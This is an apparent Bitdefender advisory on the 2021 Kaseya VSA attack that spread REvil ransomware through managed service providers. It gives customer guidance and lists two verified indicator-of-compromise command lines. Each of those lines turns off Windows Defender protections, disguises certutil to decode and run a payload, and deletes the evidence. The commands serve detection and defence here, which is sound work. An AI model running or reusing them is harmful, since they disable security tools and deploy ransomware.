Update: July 13, 2021 -- Kaseya issued a critical security update for VSA users that is available on their site - Kaseya Critical Security Update. We recommend users follow Kaseya's recommended updates as soon as possible.
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We continue to monitor and analyze the attack using Kaseya Software to deploy a variant of REvil ransomware into a victim’s environment. The attack targeted Kaseya’s managed service provider (MSP) customers, which often provide IT support to small- to medium-size businesses. By targeting MSPs, attackers also seek to access and infiltrate the MSP’s customers computer networks.
Guidance for Bitdefender Customers
We continue to monitor and assess any customer impact, and will develop further guidance as appropriate, including how Bitdefender customers can protect or mitigate impacts to affected systems. Our Labs team findings to date indicate Bitdefender solutions detect and block a command line action and delivered payloads used in the attack, thus, protecting customers from this step in the attack. If you are a Kaseya user and believe that you are impacted, please contact us at: gzn-gs@bitdefender.com
Verified Indicators of Compromise
C:\Windows\system32\cmd.exe” /c ping 127.0.0.1 -n 5825 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
and
C:\WINDOWS\system32\cmd.exe /c ping 127.0.0.1 -n 3637 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\WaRCoMWorking\agent.crt c:\WaRCoMWorking\agent.exe & del /q /f c:\WaRCoMWorking\agent.crt C:\Windows\cert.exe & c:\WaRCoMWorking\agent.exe
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